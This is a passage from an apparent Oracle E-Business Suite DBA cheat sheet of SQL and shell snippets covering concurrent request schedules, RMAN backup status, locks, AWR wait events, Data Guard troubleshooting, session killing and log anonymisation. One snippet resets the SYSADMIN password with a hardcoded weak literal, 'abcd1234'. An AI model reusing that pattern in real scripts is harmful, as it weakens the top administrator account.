decode(substr(c.class_info, 35, 1), '1', 'Tu ') ||
decode(substr(c.class_info, 36, 1), '1', 'We ') ||
decode(substr(c.class_info, 37, 1), '1', 'Th ') ||
decode(substr(c.class_info, 38, 1), '1', 'Fr ') ||
decode(substr(c.class_info, 39, 1), '1', 'Sa '))
end as schedule,
c.date1 start_date,
c.date2 end_date,
c.class_info
from fnd_concurrent_requests r,
fnd_conc_release_classes c,
fnd_concurrent_programs_tl p,
fnd_user s,
(with date_schedules as (
select release_class_id,
rank() over(partition by release_class_id order by s) a, s
from (select c.class_info, l,
c.release_class_id,
decode(substr(c.class_info, l, 1), '1', to_char(l)) s
from (select level l from dual connect by level <= 31),
fnd_conc_release_classes c
where c.class_type = 'S'
and instr(substr(c.class_info, 1, 31), '1') > 0)
where s is not null)
SELECT release_class_id, substr(max(SYS_CONNECT_BY_PATH(s, ' ')), 2) dates
FROM date_schedules
START WITH a = 1
CONNECT BY nocycle PRIOR a = a - 1
group by release_class_id) dates
where r.phase_code = 'P'
and c.application_id = r.release_class_app_id
and c.release_class_id = r.release_class_id
and nvl(c.date2, sysdate + 1) > sysdate
and c.class_type is not null
and p.concurrent_program_id = r.concurrent_program_id
and p.language = 'US'
and dates.release_class_id(+) = r.release_class_id
and r.requested_by = s.user_id
order by conc_prog, on_hold, next_run;
============
CHANGE PASSWORD OF EBS USER THROUGH API
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
begin
if fnd_user_pkg.changepassword('SYSADMIN','abcd1234')
then null;
end if;
end;
commit;
===
RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN
BACKUP STATUS check
-------------------
SELECT row_type, operation, status, start_time, end_time
FROM v$rman_status
WHERE status not in 'RUNNING' AND start_time > sysdate -2
ORDER BY start_time ASC;
SELECT OUTPUT_DEVICE_TYPE,STATUS,INPUT_TYPE,START_TIME,END_TIME, OUTPUT_BYTES_DISPLAY, TIME_TAKEN_DISPLAY
FROM v$rman_backup_job_details
WHERE start_time > sysdate -2;
SELECT *
FROM gv$rman_output;
SELECT SID,SERIAL#,OPNAME "TASK_RUNNING",START_TIME "TIME_STARTED",LAST_UPDATE_TIME "CURRENT_TIME",TIME_REMAINING/60 "REMAINING_TIME_IN_MINS", USERNAME "DB_USER" fROM V$SESSION_LONGOPS WHERE TIME_REMAINING<>0 ORDER BY TIME_REMAINING DESC;
SELECT SID,SERIAL#,USERNAME,OSUSER,MACHINE,PROGRAM,MODULE fROM GV$SESSION WHERE SID=9016;
LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS
lockED objects within your Oracle system.
------------------------------------------------------
SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.status,
b.osuser,
b.machine
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id;
PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE
>>>>>*****************GET TOP 5 WAIT EVENTS**********
------------------------------------------------------
select (select dbid from v$database) dbid,1,min(dhs.snap_id) min_snap, max(dhs.snap_id) max_snap
from dba_hist_snapshot dhs
where dhs.end_interval_time >= to_date(sysdate - 1)
and dhs.instance_number = 1
group by dbid;
wITH aa AS
(SELECT output, ROWNUM r
FROM table(DBMS_WORKLOAD_REPOSITORY.awr_report_text (&v_dbid, 1, &v_min_snap, &v_max_snap)))
SELECT output top_five
FROM aa, (SELECT r FROM aa
WHERE output LIKE 'Top 5 Timed Foreground Events%') bb
WHERE aa.r BETWEEN bb.r AND bb.r + 10
order by bb.r;
***********************<<<<<
>>>>>*****************GET TOP 5 WAIT EVENTS FOR PAST 5 DAYS**********
-------------------------------------------------------------------------
select Day, Event_name, Total_wait from (
select day, event_name, sum(event_time_waited) total_wait,
row_number() over (partition by day order by sum(event_time_waited) desc) rn from (
SELECT to_date(to_char(begin_interval_time,'dd/mm/yyyy'),'dd/mm/yyyy') day,s.begin_interval_time, m.*
FROM (SELECT ee.instance_number, ee.snap_id, ee.event_name,
ROUND (ee.event_time_waited / 1000000) event_time_waited,
ee.total_waits,
ROUND ((ee.event_time_waited * 100) / et.total_time_waited,
1
) pct,
ROUND ((ee.event_time_waited / ee.total_waits) / 1000
) avg_wait
FROM (SELECT ee1.instance_number, ee1.snap_id, ee1.event_name,
ee1.time_waited_micro - ee2.time_waited_micro event_time_waited,
ee1.total_waits - ee2.total_waits total_waits
FROM dba_hist_system_event ee1 JOIN dba_hist_system_event ee2
ON ee1.snap_id = ee2.snap_id + 1
AND ee1.instance_number = ee2.instance_number
AND ee1.event_id = ee2.event_id
AND ee1.wait_class_id <> 2723168908
AND ee1.time_waited_micro - ee2.time_waited_micro > 0
UNION
SELECT st1.instance_number, st1.snap_id,
st1.stat_name event_name,
st1.VALUE - st2.VALUE event_time_waited,
1 total_waits
FROM dba_hist_sys_time_model st1 JOIN dba_hist_sys_time_model st2
ON st1.instance_number = st2.instance_number
AND st1.snap_id = st2.snap_id + 1
AND st1.stat_id = st2.stat_id
AND st1.stat_name = 'DB CPU'
AND st1.VALUE - st2.VALUE > 0
) ee
JOIN
(SELECT et1.instance_number, et1.snap_id,
et1.VALUE - et2.VALUE total_time_waited
FROM dba_hist_sys_time_model et1 JOIN dba_hist_sys_time_model et2
ON et1.snap_id = et2.snap_id + 1
AND et1.instance_number = et2.instance_number
AND et1.stat_id = et2.stat_id
AND et1.stat_name = 'DB time'
AND et1.VALUE - et2.VALUE > 0
) et
ON ee.instance_number = et.instance_number
AND ee.snap_id = et.snap_id
) m
JOIN
dba_hist_snapshot s ON m.snap_id = s.snap_id
) group by day ,event_name
order by day desc, total_wait desc
) where rn < 5
Execution plan
-----------------
ALTER SESSION SET NLS_dATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select * from gv$session where osuser LIKE 'BOADMIN';
SELECT * FROM DICTIONARY WHERE TABLE_NAME LIKE '%PLAN%';
DESC Gv$SQL_PLAN;
SELECT username, prev_sql_id,PROGRAM,MODULE,PREV_EXEC_START
FROM v$session
WHERE username = 'KOUNCIL_DWH';
SELECT *
FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('b4rkxgq8syk5d'));
SELECT *
FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('7tmr31a32n37q'));
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='b4rkxgq8syk5d';
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='7tmr31a32n37q';
############EBS - kill direct db connections through toad and plsql developer
SELECT username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT inst_id,sid,serial#,username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe') and lower(osuser) not in ('ad1007860');
############################################
SELECT * FROM FND_OAM_CONTEXT_FILES WHERE NAME NOT IN ('TEMPLATE','METADATA') ORDER BY NODE_NAME DESC, STATUS ASC;
SELECT name,extractvalue(xmltype(text),'//web_port')
FROM fnd_oam_context_files where status='S'
and NAME NOT IN ('TEMPLATE','METADATA');
ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP
select * From ad_adop_sessions;
select * from fnd_nodes;
select * from fnd_oam_context_files;
select * from adop_valid_nodes;
select * from ad_zd_logs
select ADOP_SESSION_ID,PREPARE_STATUS,APPLY_STATUS,FINALIZE_STATUS,CUTOVER_STATUS,CLEANUP_STATUS,ABORT_STATUS,STATUS,ABANDON_FLAG,NODE_NAME from AD_ADOP_SESSIONS order by ADOP_SESSION_ID;
##############################################################################
DB Size, Avg Archives per day, Undo Data Retention size, Flashback Logs size, Recyclebin size
##############################################################################
set heading on
set feedback off
set linesize 150
set pagesize 1000
set echo off
set verify off
------------
(1) Database
------------
column total_db_size format a30 heading "Total Database Size (GB)"
select to_char((nvl(data_size,0)+nvl(temp_size,0)+nvl(redo_size1,0)+nvl(redo_size2,0)+nvl(cntl_size,0))/1024/1024/1024,'999,990') total_db_size
from (select sum(bytes) data_size from dba_data_files) t1,
(select sum(bytes) temp_size from dba_temp_files) t2,
(select sum(a.bytes) redo_size1 from v$log a, v$logfile b where a.group# = b.group#) t3,
(select sum(a.bytes) redo_size2 from v$standby_log a, v$logfile b where a.group# = b.group#) t4,
(select sum(file_size_blks*block_size) cntl_size from v$controlfile) t5
/
--------------------------------
(2) Average Archive Data Per Day
--------------------------------
column count_dest format a25 heading "Number of Destinations"
column average_archive_size_per_day format a40 heading "Average Archive File Size (MB) Per Day"
select to_char(a.count_dest,'990') count_dest,
to_char(b.total_size/b.no_days/1024/1024,'999,990') average_archive_size_per_day
from (select count(distinct dest_id) count_dest
from v$archive_dest
where status = 'VALID'
and target = 'PRIMARY'
) a,
(select sum(blocks*block_size) total_size, count(distinct trunc(completion_time)) no_days,
min(trunc(completion_time)) min_archive_date, max(trunc(completion_time)) max_archive_date
from v$archived_log
where trunc(completion_time) between trunc(sysdate)-30 and trunc(sysdate)-1
) b
/
-----------------------
(3) Undo Data Retention
-----------------------
column undo_retention format a30 heading "Undo Retention (Days)"
column undo_size format a30 heading "Undo Size (GB)"
select a.undo_retention, b.undo_size
from (select to_char(value/60/60/24,'999,990') undo_retention
from v$parameter
where lower(name) = 'undo_retention'
) a,
(select to_char(sum(bytes)/1024/1024/1024,'999,990') undo_size
from dba_data_files
where tablespace_name in (select tablespace_name
from dba_tablespaces
where contents = 'UNDO'
)
) b
/
------------------
(4) Flashback Logs
------------------
column flashback_on format a15 heading "Flashback On"
column flashback_retention format a30 heading "Flashback Retention (Days)"
column flashback_size format a20 heading "Flashback Size (GB)"
column flashback_destination format a50 heading "Flashback Destination"
select a.flashback_on, c.flashback_retention, b.flashback_size, d.flashback_destination
from (select flashback_on
from v$database
) a,
(select to_char(sum(flashback_size)/1024/1024/1024,'999,990') flashback_size
from gv$flashback_database_log
) b,
(select to_char(value/60/24,'999,990') flashback_retention
from v$parameter
where lower(name) = 'db_flashback_retention_target'
) c,
(select value flashback_destination
from v$parameter
where lower(name) = 'db_recovery_file_dest'
) d
/
--------------
(5) Recyclebin
--------------
column recyclebin_status format a30 heading "Recyclebin Status"
column recyclebin_size format a30 heading "Recyclebin Size (MB)"
select a.recyclebin_status, b.recyclebin_size
from (select value recyclebin_status
from v$parameter
where lower(name) = 'recyclebin'
) a,
(select to_char(sum(a.space*b.block_size)/1024/1024,'999,990') recyclebin_size
from dba_recyclebin a, dba_tablespaces b
where a.ts_name = b.tablespace_name
) b
/
prompt
prompt
###############################
Data Guard Dataguard Quick SQL dg dg dg
###############################
SQL> show parameter succ
Name TYPE value
---------------------------------------- --------------
log_archive_min_succeed_dest integer 2
ORA-16401: archive log rejected by Remote File Server (RFS)
alter database set standby database to maximize performance;
alter system checkpoint global; --> on primary to switch both instance log files.
alter database recover managed standby database using current logfile disconnect from session;
alter database recover managed standby database using current logfile disconnect from session;
select thread#,max(sequence#) from v$archived_log group by thread#;
select thread#, max(sequence#) from v$archived_log where applied ='YES' and REGISTRAR='RFS' group by thread# ;
set pagesize 10000
select process, status from V$managed_standby;
select * from (SELECT THREAD#, MAX(SEQUENCE#), TO_CHAR(FIRST_TIME,'DD-MON-YY HH:MI:SS AM') AS "LAST_APPLIED_LOG" FROM V$LOG_HISTORY GROUP BY THREAD#, FIRST_TIME order by FIRST_TIME desc ) where rownum < 3;
select thread#, max(sequence#) "Last Primary Seq Generated"
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;
SHOW PARAMETER log_archive_dest_state_2
alter system set log_archive_dest_state_2='defer' scope=memory sid='*';
alter system set log_archive_dest_state_2='enable' scope=memory sid='*';
select process,status,sequence# from v$managed_standby;
select message from v$dataguard_status;
SQL> ALTER DATABASE REGISTER LOGFILE '/u01/mydb/archivelog/mydbdr_1_45563_935510789.arc';
Database altered.
SQL> ALTER DATABASE REGISTER LOGFILE '/u01/mydb/archivelog/mydbdr_1_45564_935510789.arc';
*
ERROR at line 1:
ORA-16089: archive log has already been registered
SELECT PROCESS, STATUS, THREAD#, SEQUENCE#, BLOCK#, BLOCKS FROM V$MANAGED_STANDBY;
PROCESS STATUS THREAD# SEQUENCE# BLOCK# BLOCKS
--------- ------------ ---------- ---------- ---------- ----------
ARCH CONNECTED 0 0 0 0
ARCH CONNECTED 0 0 0 0
ARCH CONNECTED 0 0 0 0
ARCH CONNECTED 0 0 0 0
MRP0 WAIT_FOR_GAP 1 45568 0 0
*Heartbeat failed to connect to standby
SOLUTION: Copied the password file from node1 to DR server, it got out of sync when password was changed for sys manually.
set longc 2000
set lines 300
col name for a60
select process, status from V$managed_standby;
SELECT THREAD#, MAX(SEQUENCE#) AS "LAST_APPLIED_LOG"
FROM V$LOG_HISTORY
GROUP BY THREAD#
/
select *
from (SELECT THREAD#,
MAX(SEQUENCE#),
TO_CHAR(FIRST_TIME,
'DD-MON-YY HH:
MI:SS AM') AS "LAST_APPLIED_LOG"
FROM V$LOG_HISTORY
GROUP BY THREAD#, FIRST_TIME
order by FIRST_TIME desc)
where rownum < 3;
select thread#, max(sequence#) "Last Primary Seq Generated"
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread#
order by 1;
SELECT PROCESS, STATUS, THREAD#, SEQUENCE#, BLOCK#, BLOCKS FROM V$MANAGED_STANDBY;
----------------------------------
GET List the IPs in the Log Files
----------------------------------
find . -type f -name '*' | while read FILE
do
apath=`pwd`
for j in `awk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {i[substr($0,RSTART,RLENGTH)]=1}END{for(ip in i){printf("%s\n", ip)}}' $FILE `
do
echo $j " in " $FILE
done
done
----------------------------------------------------
Comprehensive in the Log Files
----------------------------------------------------
find . -type f -name '*' | while read FILE
do
sed -i 's/ebstest_ebstest/APPNAME_NODE1/g' ${FILE} # Scramble APPNAME_HOSTNAME
sed -i 's/u02\/ebstest/DISK\/APPNAME/g' ${FILE} # Scramble EBS Instance Name
sed -i 's/ebstest/NODE1/g' ${FILE} # Scramble Apps Host name
sed -i 's/ed-olraclin1/PHY_NODE1_NAME/g' ${FILE} # Scramble Physical Hostname1
sed -i 's/ed-olraclin2/PHY_NODE2_NAME/g' ${FILE} # Scramble Physical Hostname2
sed -i 's/apps/DEFAULT_APP_NAME/g' ${FILE} # Scramble Default App Name
sed -i 's/apps\-cluster/CLUSTER_NAME/g' ${FILE} # Scramble Cluster name Lower Case
sed -i 's/apps\-cluster/CLUSTER_NAME/g' ${FILE} # Scramble Cluster name Upper Case
sed -i -r 's/(\b[0-9]{1,3}\.){3}[0-9]{1,3}\b/999.999.999.999/g' ${FILE} # Scramble IP Address to standard 999.999.999.999
done
----------------------------------
apps List the IPs in the Log Files
----------------------------------
find . -type f -name '*' | while read FILE
do
apath=`pwd`
for j in `awk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {i[substr($0,RSTART,RLENGTH)]=1}END{for(ip in i){printf("%s\n", ip)}}' $FILE `
do
echo $j " in " $FILE
done
done
query to find hidden parameters starting with _ underscore
SELECT name,description from SYS.V$PARAMETER WHERE name LIKE '\_%' ESCAPE '\';
query to find periodic alerts scheduled
SELECT
FATL.APPLICATION_NAME,AA.ALERT_ID,AA.ALERT_NAME,AA.CREATION_DATE,AA.LAST_UPDATE_DATE,AA.START_DATE_ACTIVE,
AA.END_DATE_ACTIVE,AL_CONDITION_TYPE.MEANING
ALERT_CONDITION_TYPE,AL_FREQUENCY_TYPE.MEANING ALERT_FREQUENCY_TYPEFROM APPS.ALR_ALERTS AA,APPS.ALR_LOOKUPS AL_FREQUENCY_TYPE,APPS.ALR_LOOKUPS AL_CONDITION_TYPE,APPS.FND_APPLICATION_TL FATL
WHERE AA.ENABLED_FLAG='Y' AND
AL_FREQUENCY_TYPE.LOOKUP_CODE=AA.FREQUENCY_TYPE AND AL_FREQUENCY_TYPE.ENABLED_FLAG='Y' AND
AL_FREQUENCY_TYPE.LOOKUP_TYPE='ALERT_FREQUENCY_TYPE' AND
AL_CONDITION_TYPE.LOOKUP_CODE=AA.ALERT_CONDITION_TYPE AND AL_CONDITION_TYPE.ENABLED_FLAG='Y' AND
AL_CONDITION_TYPE.LOOKUP_TYPE='ALERT_CONDITION_TYPE' AND
FATL.APPLICATION_ID=AA.APPLICATION_ID AND FATL.LANGUAGE='US'
ORDER BY AA.APPLICATION_ID,AA.FREQUENCY_TYPE;
